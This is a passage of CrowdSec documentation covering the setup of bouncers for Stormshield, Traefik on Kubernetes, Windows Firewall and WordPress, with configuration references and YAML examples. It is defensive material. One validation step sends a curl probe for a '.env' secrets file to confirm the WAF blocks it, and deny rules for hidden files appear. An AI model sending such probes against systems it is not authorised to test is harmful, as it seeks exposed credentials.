only_include_decisions_from: [] insecure_skip_verify: false key_path: "" # Used for TLS authentification with CrowdSec LAPI cert_path: "" # Used for TLS authentification with CrowdSec LAPI ca_cert_path: "" # Used for TLS authentification with CrowdSec LAPI # Stormshield Config stormshield: host: ssh_port: 22 # SSH port ssh_username: admin ssh_password: # optional if using private key auth ssh_private_key_path: # optional if using password auth api_username: admin api_password: api_port: 443 api_ssl_verify_host: false # Log Config log_level: info log_media: "stdout" log_dir: "/var/log/" ``` ### `crowdsec.lapi_url`[โ€‹](#crowdseclapi_url "Direct link to crowdseclapi_url") The URL of CrowdSec LAPI. It should be accessible from the bouncer. ### `crowdsec.lapi_key`[โ€‹](#crowdseclapi_key "Direct link to crowdseclapi_key") It can be obtained by running the following on the machine CrowdSec LAPI is deployed on. SHCOPY ``` sudo cscli -oraw bouncers add # -oraw flag can discarded for human friendly output. ``` ### `crowdsec.update_frequency`[โ€‹](#crowdsecupdate_frequency "Direct link to crowdsecupdate_frequency") The bouncer will poll the CrowdSec every `update_frequency` interval. Value can be in seconds (eg 30s), minutes (eg 5m), hours (eg 1h), days (eg 1d), weeks (eg 1w), months (eg 1M) or years (eg 1y). ### `crowdsec.include_scenarios_containing`[โ€‹](#crowdsecinclude_scenarios_containing "Direct link to crowdsecinclude_scenarios_containing") Ignore IPs banned for triggering scenarios not containing either of provided word. Example value \["ssh", "http"] ### `crowdsec.exclude_scenarios_containing`[โ€‹](#crowdsecexclude_scenarios_containing "Direct link to crowdsecexclude_scenarios_containing") Ignore IPs banned for triggering scenarios containing either of provided word. Example value \["ssh", "http"] ### `crowdsec.only_include_decisions_from`[โ€‹](#crowdseconly_include_decisions_from "Direct link to crowdseconly_include_decisions_from") Only include IPs banned due to decisions orginating from provided sources. eg value \["cscli", "crowdsec"] ### `crowdsec.insecure_skip_verify`[โ€‹](#crowdsecinsecure_skip_verify "Direct link to crowdsecinsecure_skip_verify") Skip TLS verification when connecting to CrowdSec LAPI. ### `crowdsec.key_path`[โ€‹](#crowdseckey_path "Direct link to crowdseckey_path") Path to the private key file to use for TLS authentication with CrowdSec LAPI. ### `crowdsec.cert_path`[โ€‹](#crowdseccert_path "Direct link to crowdseccert_path") Path to the certificate file to use for TLS authentication with CrowdSec LAPI. ### `crowdsec.ca_cert_path`[โ€‹](#crowdsecca_cert_path "Direct link to crowdsecca_cert_path") Path to the CA certificate file to use for TLS authentication with CrowdSec LAPI. ### `stormshield.host`[โ€‹](#stormshieldhost "Direct link to stormshieldhost") The IP address or hostname of the Stormshield firewall. ### `stormshield.ssh_port`[โ€‹](#stormshieldssh_port "Direct link to stormshieldssh_port") The SSH port of the Stormshield firewall. ### `stormshield.ssh_username`[โ€‹](#stormshieldssh_username "Direct link to stormshieldssh_username") The SSH username of the Stormshield firewall. ### `stormshield.ssh_password`[โ€‹](#stormshieldssh_password "Direct link to stormshieldssh_password") The SSH password of the Stormshield firewall. ### `stormshield.ssh_private_key_path`[โ€‹](#stormshieldssh_private_key_path "Direct link to stormshieldssh_private_key_path") The path to the SSH private key of the Stormshield firewall. ### `stormshield.api_username`[โ€‹](#stormshieldapi_username "Direct link to stormshieldapi_username") The API username of the Stormshield firewall. ### `stormshield.api_password`[โ€‹](#stormshieldapi_password "Direct link to stormshieldapi_password") The API password of the Stormshield firewall. ### `stormshield.api_port`[โ€‹](#stormshieldapi_port "Direct link to stormshieldapi_port") The API port of the Stormshield firewall. ### `stormshield.api_ssl_verify_host`[โ€‹](#stormshieldapi_ssl_verify_host "Direct link to stormshieldapi_ssl_verify_host") Verify the SSL certificate of the Stormshield firewall. ### `log_level`[โ€‹](#log_level "Direct link to log_level") The log level for the bouncer. Example value: "info" Valid values: "debug", "info", "warning", "error" ### `log_mode`[โ€‹](#log_mode "Direct link to log_mode") The log mode for the bouncer. Valid values: "stdout", "stderr", "file" ### `log_dir`[โ€‹](#log_dir "Direct link to log_dir") The directory to store the logs in. This is only applicable when `log_mode` is set to "file". --- ![CrowdSec](/img/traefik.logo.png "CrowdSec") ![](https://img.shields.io/badge/build-pass-green)![](https://img.shields.io/badge/tests-pass-green) ๐Ÿ“š [Documentation](#deploy-the-traefik-middleware) ๐Ÿ’  [Source](https://plugins.traefik.io/plugins/6335346ca4caa9ddeffda116/crowdsec-bouncer-traefik-plugin) ๐Ÿ’ฌ [Discourse](https://discourse.crowdsec.net) ModeStream only MetricsSupported MTLSSupported PrometheusSupported AppSec Support This bouncer supports the [AppSec Component](https://docs.crowdsec.net/docs/next/appsec/intro.md) for real-time WAF protection. Enable `crowdsecAppsecEnabled: true` in your middleware configuration to get virtual patching and defense against known CVEs, SQL injection, XSS, and other application-layer attacks. For a full walkthrough, see the [AppSec Quickstart for Traefik](https://docs.crowdsec.net/docs/next/appsec/quickstart/traefik.md). # Traefik on kubernetes important This remediation component is community developed and maintained. You can see all the configuration options in the [bouncer documentation](https://github.com/maxlerebourg/crowdsec-bouncer-traefik-plugin). You can also refer to a [full traefik and CrowdSec stack on kubernetes](https://github.com/maxlerebourg/crowdsec-bouncer-traefik-plugin/tree/main/examples/kubernetes) or our [Appsec Traefik Quickstart](https://docs.crowdsec.net/docs/next/appsec/quickstart/traefik.md). ## Objectives[โ€‹](#objectives "Direct link to Objectives") This quickstart shows how to deploy the CrowdSec Traefik bouncer in Kubernetes and protect workloads exposed through [Traefik](https://doc.traefik.io/traefik/) using a middleware plugin. At the end, you will have: * CrowdSec LAPI running in-cluster and reachable from Traefik * A Traefik middleware enforcing CrowdSec remediation decisions * A Kubernetes secret storing the shared bouncer key * The bouncer key mounted into the Traefik pod as a file * An operational pattern that avoids committing the LAPI key in plaintext ## Prerequisites[โ€‹](#prerequisites "Direct link to Prerequisites") It is assumed that you already have: * A working CrowdSec [Security Engine](https://docs.crowdsec.net/intro.mdx) installation. For a Kubernetes install quickstart, refer to [/u/getting\_started/installation/kubernetes](https://docs.crowdsec.net/u/getting_started/installation/kubernetes.md). * A working Traefik installation in Kubernetes. * Existing `IngressRoute`, `Ingress`, or other Traefik-managed routes exposing your applications. warning This integration currently relies on a community Traefik plugin, not on a first-party CrowdSec remediation component. The upstream project used in this guide is: * `maxlerebourg/crowdsec-bouncer-traefik-plugin` ## Store the Traefik bouncer key in a Kubernetes secret[โ€‹](#store-the-traefik-bouncer-key-in-a-kubernetes-secret "Direct link to Store the Traefik bouncer key in a Kubernetes secret") The practical approach is to choose a fixed shared key and store it in Kubernetes secrets instead of hardcoding it in Helm values. Two secrets are needed because CrowdSec and Traefik run in different namespaces: * In the `crowdsec` namespace, CrowdSec LAPI reads `BOUNCER_KEY_traefik` from the `crowdsec-keys` secret. * In the `traefik` namespace, Traefik mounts the same key from the `crowdsec-bouncer-key` secret as a file. Both secrets must contain the same `BOUNCER_KEY_traefik` value. Create or update the secrets used by CrowdSec LAPI and Traefik: crowdsec-keys.yaml YAMLcrowdsec-keys.yamlCOPY ``` apiVersion: v1 kind: Secret metadata: name: crowdsec-keys namespace: crowdsec type: Opaque stringData: ENROLL_KEY: "" BOUNCER_KEY_traefik: "" --- apiVersion: v1 kind: Secret metadata: name: crowdsec-bouncer-key namespace: traefik type: Opaque stringData: BOUNCER_KEY_traefik: "" ``` Apply it: SHCOPY ``` kubectl apply -f crowdsec-keys.yaml ``` Then reference `BOUNCER_KEY_traefik` from the CrowdSec Helm values: crowdsec-values.yaml YAMLcrowdsec-values.yamlCOPY ``` lapi: env: - name: BOUNCER_KEY_traefik valueFrom: secretKeyRef: name: crowdsec-keys key: BOUNCER_KEY_traefik ``` Apply the CrowdSec release again: SHCOPY ``` helm upgrade --install crowdsec crowdsec/crowdsec --namespace crowdsec --create-namespace -f crowdsec-values.yaml ``` The `crowdsec-bouncer-key` secret in the `traefik` namespace is used later when mounting the key into the Traefik pod. ## Required traefik configuration items[โ€‹](#required-traefik-configuration-items "Direct link to Required traefik configuration items") ### Traefik configuration's on source IPs[โ€‹](#traefik-configurations-on-source-ips "Direct link to Traefik configuration's on source IPs") To ensure remediation works correctly, Traefik must receive the real client IP for each request. When Traefik is deployed behind a load balancer, CDN, or another reverse proxy, the source IP may otherwise be replaced with the upstream address. Traefik must first trust the upstream IP ranges. This is done with: * [forwardedHeaders.trustedIPs](https://doc.traefik.io/traefik/v3.2/routing/entrypoints/#forwarded-headers) * [proxyProtocol.trustedIPs](https://doc.traefik.io/traefik/v3.2/routing/entrypoints/#proxyprotocol) The CrowdSec middleware must then trust the same ranges: YAMLCOPY ``` spec: plugin: bouncer: forwardedHeadersTrustedIps: ``` If the client IP is forwarded through a header other than `X-Forwarded-For`, set it explicitly: YAMLCOPY ``` spec: plugin: bouncer: forwardedHeadersCustomName: X-Real-Ip ``` Correctly forwarding and trusting these headers ensures that both Traefik and CrowdSec operate on the same client IP, which is required for IP-based remediation. Side note about source IP with CrowdSec and Kubernetes Source IP addresses are essential in a CrowdSec deployment for two reasons. First, the log processor must know which IPs are responsible for triggering scenarios. Second, the remediation component needs to identify the originating IP of incoming requests in order to apply the appropriate action. In a Kubernetes environment, this requires disabling source NAT on nodes so that the CrowdSec-monitored service pods receive the real client IP. As a consequence, the Service's `externalTrafficPolicy` must be set to `Local`, and the workload must run either as a `DaemonSet` or as a `Deployment` ensuring one pod per node. This guarantees that no traffic, and therefore no security events, is missed. ### Traefik Custom Resource Definitions[โ€‹](#traefik-custom-resource-definitions "Direct link to Traefik Custom Resource Definitions") Traefik's CRDs provide the custom resource types, such as `Middleware`, that are required to configure Traefik through the Kubernetes CRD provider. CrowdSec remediation relies on one of these resources to declare the middleware. Without the CRDs, this middleware cannot be created or used. * Helm * Kubectl Install the Traefik CRDs via Helm: SHCOPY ``` helm repo add traefik https://traefik.github.io/charts helm repo update helm upgrade --install traefik-crds traefik/traefik-crds -n traefik --create-namespace ``` You can also deploy the Traefik CRDs without Helm: SHCOPY ``` kubectl apply -f https://raw.githubusercontent.com/traefik/traefik/v3.6/docs/content/reference/dynamic-configuration/kubernetes-crd-definition-v1.yml ``` ### Enable experimental plugin loading[โ€‹](#enable-experimental-plugin-loading "Direct link to Enable experimental plugin loading") The CrowdSec Traefik plugin cannot be enabled only through CLI flags. You must also enable experimental plugin loading in the Traefik chart values: traefik-values.yaml YAMLtraefik-values.yamlCOPY ``` experimental: plugins: bouncer: moduleName: github.com/maxlerebourg/crowdsec-bouncer-traefik-plugin version: v1.4.5 volumes: - name: crowdsec-bouncer-key mountPath: /etc/traefik/crowdsec type: secret secretName: crowdsec-bouncer-key ``` Apply or upgrade your Traefik release: SHCOPY ``` helm upgrade --install traefik traefik/traefik -n traefik --create-namespace -f traefik-values.yaml ``` ## Verify CrowdSec LAPI access[โ€‹](#verify-crowdsec-lapi-access "Direct link to Verify CrowdSec LAPI access") The Traefik middleware only needs access to CrowdSec LAPI. Make sure the CrowdSec release exposes the LAPI service, that the bouncer key is available through `lapi.env`, and that Traefik has the same key mounted from the `crowdsec-bouncer-key` secret. Verify the CrowdSec pods and services: SHCOPY ``` kubectl -n crowdsec get pods kubectl -n crowdsec get svc crowdsec-service ``` You should see: * `crowdsec-lapi` in `Running` * `crowdsec-service` exposing port `8080` ## Deploy the Traefik middleware[โ€‹](#deploy-the-traefik-middleware "Direct link to Deploy the Traefik middleware") To achieve remediation in a Traefik environment, create a `Middleware` resource. important The Traefik `Middleware` CRD does not have a native `secretKeyRef` field for the plugin configuration. In Kubernetes, the key can be mounted from a `Secret` into the Traefik pod and reference it with `crowdsecLapiKeyFile`. Mount the Traefik-side secret into the pod and let the middleware read it from a file. Use a Traefik chart values file like this: traefik-values.yaml YAMLtraefik-values.yamlCOPY ``` experimental: plugins: bouncer: moduleName: github.com/maxlerebourg/crowdsec-bouncer-traefik-plugin version: v1.4.5 volumes: - name: crowdsec-bouncer-key mountPath: /etc/traefik/crowdsec type: secret secretName: crowdsec-bouncer-key ``` Apply or upgrade your Traefik release: SHCOPY ``` helm upgrade --install traefik traefik/traefik -n traefik --create-namespace -f traefik-values.yaml ``` Then create the middleware: bouncer-middleware.yaml YAMLbouncer-middleware.yamlCOPY ``` apiVersion: traefik.io/v1alpha1 kind: Middleware metadata: name: bouncer namespace: traefik spec: plugin: bouncer: enabled: true crowdsecMode: stream crowdsecLapiScheme: http crowdsecLapiHost: crowdsec-service.crowdsec.svc.cluster.local:8080 crowdsecLapiPath: / crowdsecLapiKeyFile: /etc/traefik/crowdsec/BOUNCER_KEY_traefik ``` Apply it: SHCOPY ``` kubectl apply -f bouncer-middleware.yaml ``` This keeps the source-of-truth key in Kubernetes secrets and avoids storing the literal key in the middleware manifest. Show direct `crowdsecLapiKey` example You can apply a middleware manifest with an inline key as well: bouncer-middleware.yaml YAMLbouncer-middleware.yamlCOPY ``` apiVersion: traefik.io/v1alpha1 kind: Middleware metadata: name: bouncer namespace: traefik spec: plugin: bouncer: enabled: true crowdsecMode: stream crowdsecLapiScheme: http crowdsecLapiHost: crowdsec-service.crowdsec.svc.cluster.local:8080 crowdsecLapiPath: / crowdsecLapiKey: ``` Apply it: SHCOPY ``` kubectl apply -f bouncer-middleware.yaml ``` This is useful for quick validation, but `crowdsecLapiKeyFile` with a mounted Kubernetes secret seems to be a more secure approach. Once the middleware exists, attach it to your `IngressRoute` or other Traefik route resources. ## Traefik with WAF (AppSec) on Kubernetes[โ€‹](#traefik-with-waf-appsec-on-kubernetes "Direct link to Traefik with WAF (AppSec) on Kubernetes") If you want remediation and WAF protection together, first enable AppSec in the CrowdSec chart while still sourcing the bouncer key from the Kubernetes secret: crowdsec-values.yaml YAMLcrowdsec-values.yamlCOPY ``` config: config.yaml.local: | api: server: auto_registration: enabled: true token: "${REGISTRATION_TOKEN}" allowed_ranges: - "127.0.0.1/32" - "192.168.0.0/16" - "10.0.0.0/8" - "172.16.0.0/12" appsec: enabled: true acquisitions: - source: appsec listen_addr: "0.0.0.0:7422" path: / appsec_configs: - crowdsecurity/appsec-default - crowdsecurity/crs labels: type: appsec env: - name: COLLECTIONS value: "crowdsecurity/appsec-virtual-patching crowdsecurity/appsec-crs crowdsecurity/appsec-generic-rules" lapi: env: - name: BOUNCER_KEY_traefik valueFrom: secretKeyRef: name: crowdsec-keys key: BOUNCER_KEY_traefik ``` If you add this config to the CrowdSec values, don't forget to upgrade the release: SHCOPY ``` helm upgrade --install crowdsec crowdsec/crowdsec \ --namespace crowdsec \ --create-namespace \ -f crowdsec-values.yaml ``` Traefik must also mount the `crowdsec-bouncer-key` secret so the middleware can read the bouncer key from a file: traefik-values.yaml YAMLtraefik-values.yamlCOPY ``` experimental: plugins: bouncer: moduleName: github.com/maxlerebourg/crowdsec-bouncer-traefik-plugin version: v1.4.5 volumes: - name: crowdsec-bouncer-key mountPath: /etc/traefik/crowdsec type: secret secretName: crowdsec-bouncer-key ``` If needed, upgrade the Traefik release as well: SHCOPY ``` helm upgrade --install traefik traefik/traefik -n traefik --create-namespace -f traefik-values.yaml ``` Then use an AppSec-enabled middleware: bouncer-middleware.yaml YAMLbouncer-middleware.yamlCOPY ``` apiVersion: traefik.io/v1alpha1 kind: Middleware metadata: name: bouncer namespace: traefik spec: plugin: bouncer: enabled: true crowdsecMode: stream crowdsecLapiScheme: http crowdsecLapiHost: crowdsec-service.crowdsec.svc.cluster.local:8080 crowdsecLapiPath: / crowdsecLapiKeyFile: /etc/traefik/crowdsec/BOUNCER_KEY_traefik crowdsecAppsecEnabled: true crowdsecAppsecHost: crowdsec-appsec-service.crowdsec.svc.cluster.local:7422 crowdsecAppsecPath: / crowdsecAppsecFailureBlock: true crowdsecAppsecUnreachableBlock: true crowdsecAppsecBodyLimit: 10485760 ``` Apply it: SHCOPY ``` kubectl apply -f bouncer-middleware.yaml ``` #### Validate AppSec[โ€‹](#validate-appsec "Direct link to Validate AppSec") Test that malicious requests are blocked: SHCOPY ``` curl -I http:///.env # Expected: HTTP/1.1 403 Forbidden ``` Monitoring AppSec Once AppSec is enabled, use `cscli metrics show appsec` to view processed vs. blocked requests and individual rule triggers. These metrics also appear in the [CrowdSec Console](https://app.crowdsec.net) after enrollment. --- # Windows Firewall ![CrowdSec](/img/cs-windows-firewall-bouncer-logo.png "CrowdSec") ๐Ÿ“š [Documentation](#installation/) ๐Ÿ’  [Hub](https://hub.crowdsec.net) ๐Ÿ’ฌ [Discourse](https://discourse.crowdsec.net) ModeStream only MetricsUnsupported MTLSSupported PrometheusUnsupported ## Overview[โ€‹](#overview "Direct link to Overview") The Windows firewall Remediation Component interacts with the Windows Firewall to block IPs banned by CrowdSec. It will create multiple rules in the firewall (one rule will contain 1000 IPs) and will manage their lifecycle. The rules are created on startup and automatically deleted when the component stops. ## Installation[โ€‹](#installation "Direct link to Installation") warning The .NET 10 runtime is required for the component to work ! You can download the MSI installer from the github releases: You can also install the component with [Chocolatey](https://chocolatey.org/) (this will automatically install the .NET runtime): PS1COPY ``` choco install crowdsec-windows-firewall-bouncer ``` ## Configuration[โ€‹](#configuration "Direct link to Configuration") The configuration is stored in `C:\ProgramData\CrowdSec\bouncers\cs-windows-firewall-bouncer\cs-windows-firewall-bouncer.yaml` ### Example[โ€‹](#example "Direct link to Example") YAMLCOPY ``` api_key: api_endpoint: http://127.0.0.1:8080 log_level: info update_frequency: 10 log_media: file log_dir: C:\\ProgramData\\CrowdSec\\log\\ fw_profiles: - domain ``` *** ### Configuration reference[โ€‹](#configuration-reference "Direct link to Configuration reference") #### `api_key`[โ€‹](#api_key "Direct link to api_key") > string API key to use for communication with LAPI. #### `api_endpoint`[โ€‹](#api_endpoint "Direct link to api_endpoint") > string URL of LAPI. #### `update_frequency`[โ€‹](#update_frequency "Direct link to update_frequency") > int How often the component will contact LAPI to update its content in seconds. Defaults to `10`. #### `log_media`[โ€‹](#log_media "Direct link to log_media") > file | console Wether to log to file or to the console. Defaults to file when running as service and console when running in interactive mode. #### `log_dir`[โ€‹](#log_dir "Direct link to log_dir") > string Location of the log file. Defaults to `C:\ProgramData\CrowdSec\log\`. #### `log_level`[โ€‹](#log_level "Direct link to log_level") > trace | debug | info | warn | error | fatal Log level. Defaults to `info`. #### fw\_profiles[โ€‹](#fw_profiles "Direct link to fw_profiles") > \[ ]string The firewall profile the rules will be associated with. The component automatically select the current profile, but you can override this behaviour with this parameter. Allowed values are: * `domain` * `private` * `public` #### `cert_path`[โ€‹](#cert_path "Direct link to cert_path") > string Path to the TLS client certificate used to authenticate to LAPI with mutual TLS instead of an API key. Must be set together with `key_path`. #### `key_path`[โ€‹](#key_path "Direct link to key_path") > string Path to the TLS client key matching `cert_path`. #### `ca_cert_path`[โ€‹](#ca_cert_path "Direct link to ca_cert_path") > string Path to a custom CA certificate used to validate the LAPI server certificate. #### `insecure_skip_verify`[โ€‹](#insecure_skip_verify "Direct link to insecure_skip_verify") > bool Skip verification of the LAPI TLS certificate. Defaults to `false`. #### `scopes`[โ€‹](#scopes "Direct link to scopes") > \[ ]string Only fetch decisions matching the provided scopes. Defaults to `ip` and `range`. #### `scenarios_containing`[โ€‹](#scenarios_containing "Direct link to scenarios_containing") > \[ ]string Only fetch decisions linked to scenarios containing one of the provided strings. #### `scenarios_not_containing`[โ€‹](#scenarios_not_containing "Direct link to scenarios_not_containing") > \[ ]string Only fetch decisions linked to scenarios that do not contain any of the provided strings. #### `origins`[โ€‹](#origins "Direct link to origins") > \[ ]string Only fetch decisions originating from the provided sources (for example `crowdsec`, `cscli` or `lists`). #### `supported_decision_type`[โ€‹](#supported_decision_type "Direct link to supported_decision_type") > string Only fetch decisions of the provided type (for example `ban`). By default, all decision types are fetched. --- # WordPress Plugin ![CrowdSec](/img/crowdsec_wp.png "CrowdSec") AppSecSupported ModeLive & Stream MetricsSupported MTLSSupported PrometheusUnsupported ## What can you do with this plugin?[โ€‹](#what-can-you-do-with-this-plugin "Direct link to What can you do with this plugin?") The CrowdSec WordPress plugin enables you to protect your WordPress site against malicious traffic using CrowdSec's advanced threat detection and blocklist capabilities. In this documentation, you'll find detailed instructions for these main use cases: * [**Blocklist as a Service Integration**](#blocklist-as-a-service-integration): Existing CrowdSec users, use your selected blocklists directly in WordPress. * **CrowdSec Bouncer**: Real-time protection by connecting your Security Engine to WordPress. * Refer to the [full user guide](#crowdsec-wordpress-bouncer-plugin---user-guide) for comprehensive configuration and usage details. *** ## Blocklist as a Service Integration[โ€‹](#blocklist-as-a-service-integration "Direct link to Blocklist as a Service Integration") As an existing CrowdSec's console user you can send the blocklists you already have access to directly to your WordPress site without using a Security Engine: ### Step-by-step Setup:[โ€‹](#step-by-step-setup "Direct link to Step-by-step Setup:") #### Step 1: Create a Blocklist Integration[โ€‹](#step-1-create-a-blocklist-integration "Direct link to Step 1: Create a Blocklist Integration") * Follow [this guide](https://docs.crowdsec.net/u/integrations/remediationcomponent.md) to create. * Subscribe to the blocklists of your choice as indicated in [these instructions](https://docs.crowdsec.net/u/console/blocklists/subscription.md). #### Step 2: Configure the plugin[โ€‹](#step-2-configure-the-plugin "Direct link to Step 2: Configure the plugin") * Enter the endpoint URL and API Key provided during setup:
![Fill the fields like so](/assets/images/plugin-blaas-fields-35da0c1936486f4880f9ecab251fc619.png) ### Important Configuration Notes:[โ€‹](#important-configuration-notes "Direct link to Important Configuration Notes:") * Enable Stream mode in advanced settings for direct blocklist integrations. ![Plugin Stream mode](/assets/images/plugin-stream-mode-4433f38bb5a6403e717964342cf98c5d.png) * AppSec features are unavailable in this mode. *** ## CrowdSec WordPress Bouncer Plugin - User Guide[โ€‹](#crowdsec-wordpress-bouncer-plugin---user-guide "Direct link to CrowdSec WordPress Bouncer Plugin - User Guide") ### Description[โ€‹](#description "Direct link to Description") The `CrowdSec Bouncer` plugin for WordPress has been designed to protect WordPress websites from various malicious activities by using [CrowdSec](https://www.crowdsec.net/) technology. **N.B.:** it's important to understand the scope and limitations of this bouncer, as described in the [Understanding the limitations of the bouncer](#understanding-the-limitations-of-the-bouncer) section. ### Prerequisites[โ€‹](#prerequisites "Direct link to Prerequisites") To be able to use this Remediation component, the first step is to install [CrowdSec v1](https://doc.crowdsec.net/docs/getting_started/install_crowdsec/). CrowdSec is only in charge of the "detection", and won't block anything on its own. You need to deploy a remediation to "apply" decisions. Please note that first and foremost CrowdSec must be installed on a server that is accessible via the WordPress site. ### Features[โ€‹](#features "Direct link to Features") When a user is suspected by CrowdSec to be malevolent, this component will either send him/her a captcha to resolve or simply a page notifying that access is denied. If the user is considered as a clean user, he will access the page as normal.
By default, the ban wall is displayed as below: ![Ban wall](/img/bouncer/wordpress/screenshots/front-ban.jpg "Ban wall") By default, the captcha wall is displayed as below: ![Captcha wall](/img/bouncer/wordpress/screenshots/front-captcha.jpg "Captcha wall") Please note that it is possible to customize all the colors of these pages in a few clicks so that they integrate best with your design.
On the other hand, all texts are also fully customizable. This will allow you, for example, to present translated pages in your usersโ€™ language. #### Understanding the limitations of the bouncer[โ€‹](#understanding-the-limitations-of-the-bouncer "Direct link to Understanding the limitations of the bouncer") While this plugin provides effective protection for most scenarios by intercepting and bouncing web requests that go through the [WordPress loading process](https://medium.com/@dendeffe/wordpress-loading-sequence-a-guided-tour-e077c7dbd119), there are inherent limitations to this approach. These limitations can create potential gaps in coverage, which you should be aware of: 1. Requests to PHP files outside the WordPress Core loading process Since this plugin is loaded as part of the WordPress core process, it will not attempt to retrieve or apply a remediation if a custom public PHP script is accessed directly. To ensure all PHP scripts are covered, consider enabling the [auto\_prepend\_file mode](#auto-prepend-file-mode). 2. Requests to Non-PHP Files (e.g. `.env` or other static files) Requests for non-PHP files, such as `.env` or other static files, are not handled by this plugin. As this limitation is tied to the nature of PHP itself, you may need to implement additional server-level protections (e.g., strict file permissions or blocking access to sensitive files through server configuration) to secure such files. For example, you can deny access to hidden files, using the Nginx directive NGINXCOPY ``` location ~ /\. { deny all; } ``` or the Apache one: HTACCESSCOPY ``` Require all denied ``` By understanding these limitations, you can take additional steps to secure your site comprehensively and complement the protection offered by the `CrowdSec Bouncer` plugin. ### Configurations[โ€‹](#configurations "Direct link to Configurations") This plugin comes with configurations that you will find under `CrowdSec` admin section. These configurations are divided in three main parts : `CrowdSec`, `Theme customization` and `Advanced`. #### General settings[โ€‹](#general-settings "Direct link to General settings") In the `CrowdSec` part, you will set your connection details and refine bouncing according to your needs. You will also be able to test your settings. *** ![Connection details](/img/bouncer/wordpress/screenshots/config-connection-details.jpg "Connection details") *** `Connection details โ†’ Local API URL` Url to join your CrowdSec Local API. If the CrowdSec Agent is installed on this server, you could set this field to `http://localhost:8080`. Default to `http://localhost:8080` *** `Connection details โ†’ Authentication type` Choose between `Bouncer API key` and `TLS certificates` (pki) authentication. TLS authentication is only available if you use CrowdSec agent with a version superior to 1.4.0. Please see [CrowdSec documentation](https://docs.crowdsec.net/docs/local_api/tls_auth/). *** `Connection details โ†’ Bouncer API key` Key generated by the cscli command. Only if you chose `Bouncer API key` as authentication type. *** `Connection details โ†’ Path to the bouncer certificate` Absolute path. **Make sure this file is not publicly accessible.** [See security note below](#security). Example: `/var/crowdsec/tls/bouncer.pem`. Only if you chose `TLS certificates` as authentication type. *** `Connection details โ†’ Path to the bouncer key` Absolute path. **Make sure this file is not publicly accessible.** [See security note below](#security). Example: `/var/crowdsec/tls/bouncer-key.pem`. Only if you chose `TLS certificates` as authentication type. *** `Connection details โ†’ Verify peer` This option determines whether request handler verifies the authenticity of the peer's certificate. Only if you chose `TLS certificates` as authentication type. When negotiating a TLS or SSL connection, the server sends a certificate indicating its identity. If `Verify peer` is checked, request handler verifies whether the certificate is authentic. This trust is based on a chain of digital signatures, rooted in certification authority (CA) certificate you supply using the `Path to the CA used to process for peer verification` setting below. *** `Connection details โ†’ Path to the CA certificate used to process peer verification` Absolute path. **Make sure this file is not publicly accessible.** [See security note below](#security). Example: `/var/crowdsec/tls/ca-chain.pem`. Only if you chose `TLS certificates` as authentication type. *** `Connection details โ†’ Use cURL to call Local API` By default, `file_get_contents` method is used to call Local API. This method requires to have enabled the option `allow_url_fopen`. Here, you can choose to use `cURL` requests instead. Beware that in this case, you need to have php `cURL` extension installed and enabled on your system. *** `Connection details โ†’ Local API request timeout` By default, the maximum allowed time to perform a Local API request is 120 seconds. You can change this setting here. If you set a negative value, request timeout will be unlimited. ![Connection details](/img/bouncer/wordpress/screenshots/config-bouncing.png "Connection details") *** `Bouncing โ†’ Bouncing level` Choose if you want to apply CrowdSec directives (`Normal bouncing`) or be more permissive (`Flex bouncing`). With the `Flex mode`, it is impossible to accidentally block access to your site to people who donโ€™t deserve it. This mode makes it possible to never ban an IP but only to offer a captcha, in the worst-case scenario. *** `Bouncing โ†’ Public website only` If enabled, Admin related requests are not protected. **Important notes**: We recommend to leave this setting to OFF in order to apply protection to your WordPress admin: * WordPress admin is a frequent target of cyber attacks. * Also, some critical public endpoints are considered "admin" and would be unprotected If this setting was ON. *** ![Setting tests](/img/bouncer/wordpress/screenshots/config-test-your-settings.jpg "Setting tests") `Test your settings โ†’ Test bouncing` Click the "Test bouncing" button and the configured bouncer will try to get the remediation (bypass, captcha or ban) for the IP entered in the text field. By default, tested IP is the current detected remote IP. This test allows you to know if your connection, bouncing and cache settings are correct. *** `Test your settings โ†’ Test geolocation` Click the "Test geolocation" button to try getting country for the IP entered in the text field. This test allows you to know if your geolocation settings are correct. #### Theme customization[โ€‹](#theme-customization "Direct link to Theme customization") In the `Theme customization` part, you can modify texts and colors of ban and captcha walls. ![Captcha wall customization](/img/bouncer/wordpress/screenshots/config-captcha.jpg "Captcha wall customization") ![Ban wall customization](/img/bouncer/wordpress/screenshots/config-ban.jpg "Ban wall customization") ![Wall CSS](/img/bouncer/wordpress/screenshots/config-css.jpg "Wall CSS") #### Advanced settings[โ€‹](#advanced-settings "Direct link to Advanced settings") In the `Advanced` part, you can enable/disable the stream mode, choose your cache system for your CrowdSec Local API, handle your remediation policy, manage geolocation feature, adjust some debug parameters and testing parameters. ![Communication mode](/img/bouncer/wordpress/screenshots/config-communication-mode.jpg "Communication mode") *** `Communication mode to the API โ†’ Enable the "Stream mode"` Choose if you want to enable the `stream mode` or stay in `live mode`. By default, the `live mode` is enabled. The first time a stranger connects to your website, this mode means that the IP will be checked directly by the CrowdSec API. The rest of your userโ€™s browsing will be even more transparent thanks to the fully customizable cache system. But you can also activate the `stream mode`. This mode allows you to constantly feed the bouncer with the malicious IP list via a background task (CRON), making it to be even faster when checking the IP of your visitors. Besides, if your site has a lot of unique visitors at the same time, this will not influence the traffic to the API of your CrowdSec instance. *** `Communication mode to the API โ†’ Resync decisions each (stream mode only)` With the stream mode, every decision is retrieved in an asynchronous way. Here you can define the frequency of this cache refresh. **N.B** : There is also a refresh button if you want to refresh the cache manually. ## Config Remediation Metrics[โ€‹](#config-remediation-metrics "Direct link to Config Remediation Metrics") *** ![Cache](/img/bouncer/wordpress/screenshots/config-usage-metrics.png "Cache") *** `Remediation Metrics โ†’ Enable the Remediation Metrics` Enable remediation metrics to gain visibility: monitor incoming traffic and blocked threats for better security insights. If this option is enabled, a cron job will push remediation metrics to the Local API every 15 minutes. For more information about remediation metrics, please refer to the [documentation](https://doc.crowdsec.net/docs/next/observability/usage_metrics/). **N.B** : There is also a push button if you want to push remediation metrics manually. *** ![Cache](/img/bouncer/wordpress/screenshots/config-cache.jpg "Cache") *** `Caching configuration โ†’ Technology` Choose the cache technology that will use your CrowdSec Local API. The File system cache is faster than calling Local API. Redis or Memcached is faster than the File System cache. **N.B**. : There are also a `Clear now` button for all cache technologies and a `Prune now` button dedicated to the file system cache. *** `Caching configuration โ†’ Recheck clean IPs each (live mode only)` The duration between re-asking Local API about an already checked clean IP. Minimum 1 second. Note that this setting can not be apply in stream mode. *** `Caching configuration โ†’ Recheck bad IPs each (live mode only)` The duration between re-asking Local API about an already checked bad IP. Minimum 1 second. Note that this setting can not be used in stream mode. *** `Caching configuration โ†’ Captcha flow 